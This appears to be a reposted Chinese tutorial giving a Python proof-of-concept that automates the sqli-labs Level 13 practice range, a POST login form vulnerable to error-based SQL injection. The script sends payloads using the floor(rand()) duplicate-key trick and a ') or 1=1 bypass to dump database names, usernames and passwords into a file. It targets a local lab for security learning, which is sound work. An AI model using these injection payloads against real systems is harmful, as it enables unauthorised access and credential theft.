sqli-labs靶场自动化利用工具——第13关

文章目次

• 概要
  
• 团体架构流程
  
• 技能细节
  
• 执行效果
  
• 小结
  

概要

Sqli-Labs靶场对于网安专业的门生或正在学习网安的朋侪来说并不陌生，或者说已经很认识。那有没有朋侪想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢？大概有些人会说不是有sqlmap，那我们又何须使用这个小脚本呢？这里我统一回答，sqlmap只是一个工具，工具始终是不能代替人的思索。开发这个测试的脚本他都是有针对性的，他是针对每一关的精心设计。但凡离开现实都是在空想。我也是不停围绕这个主题，以是想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有底子的网安人进行学习，学习网安路还是不能谋利取巧的。
本章恰当人群：

• 网安专业门生
  
• 报班学习网安内容的同学
  
• 进步写POC本事的网安从业者
  

团体架构流程

因为是sqli-labs的第13关，且我以为名字很是麻烦，以是我在写脚本的时候错将sqli-labs写成了sql-libs请包涵。如果你有强迫症可以自行修改。
团体流程主要是仿爬虫的情势访问网页，之后将得到的数据记录在和py文件同一级的目次下面。
第13关使用的单引号括号注入。
请求方式是POST请求。
这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面，该处使用差异的正则表达式就会筛选出差异的效果，终极的效果没能拿到我本地摆设的sqli-labs靶场的全部数据库名和暗码。类似admin1这种用户名和暗码筛选出来就可以拿到全部的数据，这个算是这个小脚本的缺陷。有兴趣的小搭档可以进一步研究。
技能细节

1. import requests
2. import re
3. import os
4. print("当前工作目录:", os.getcwd())
6. # 全局变量
7. url = 'http://sql:8081/Less-13/'
10. def find_dblength():
11.     headers = {
12.         'Host': 'sql:8081',
13.         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
14.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
15.                   'image/svg+xml,*/*;q=0.8',
16.         'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
17.         'Accept-Encoding': 'gzip, deflate',
18.         'Content-Type': 'application/x-www-form-urlencoded',
19.         'Content-Length': '270',  # 根据data参数的长度进行修改
20.         'Origin': 'http://sql:8081',
21.         'Connection': 'close',
22.         'Referer': 'http://sql:8081/Less-13/',
23.         'Upgrade-Insecure-Requests': '1',
24.         'Priority': 'u=0, i'
25.     }
26.     data = {
27.         'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),"
28.                  "floor(rand(0)*2)) "
29.                  "as x from information_schema.tables group by x) as alias-- -",
30.         'passwd': "') or 1=1-- -"
31.     }
32.     response = requests.post(url, headers=headers, data=data, verify=False)
33.     html_content = response.text
34.     match = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)
35.     if match:
36.         result = match.group(1)
37.         result_length = len(result)
38.         print(f"Result: {result}, Length: {result_length}")
39.         return result, result_length
40.     else:
41.         print("No match found.")
42.         return None, 0
45. def find_dbdata(result_length):
46.     file_path = os.path.join(os.getcwd(), 'result.txt')
47.     for i in range(result_length):
48.         headers = {
49.             'Host': 'sql:8081',
50.             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
51.             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
52.                       'image/svg+xml,*/*;q=0.8',
53.             'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
54.             'Accept-Encoding': 'gzip, deflate',
55.             'Content-Type': 'application/x-www-form-urlencoded',
56.             'Content-Length': '325',  # 根据data参数的长度进行修改
57.             'Origin': 'http://sql:8081',
58.             'Connection': 'close',
59.             'Referer': 'http://sql:8081/Less-13/',
60.             'Upgrade-Insecure-Requests': '1',
61.             'Priority': 'u=0, i'
62.         }
63.         data = {
64.             'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"
65.                      f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables "
66.                      "group by x) as alias-- -",
67.             'passwd': "') or 1=1-- -"
68.         }
69.         response = requests.post(url, headers=headers, data=data, verify=False)
70.         html_content = response.text
71.         match = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)
72.         if match:
73.             with open(file_path, "a") as file:
74.                 file.write(f"{match.group(1)}, {match.group(2)}\n")
75.         else:
76.             print(f"No match found for entry {i}.")
79. result, result_length = find_dblength()
80. if result_length > 0:
81.     find_dbdata(result_length)

复制代码

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机，以是使用代码时必要进行修改。
且想输出不一样的文件内容格式，也可以进行微调整。
最后还是那句话网安的路上不会一帆风顺，还需实事求是一步一个脚印的前行，仅用于POC的学习使用，其他使用与作者无关。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。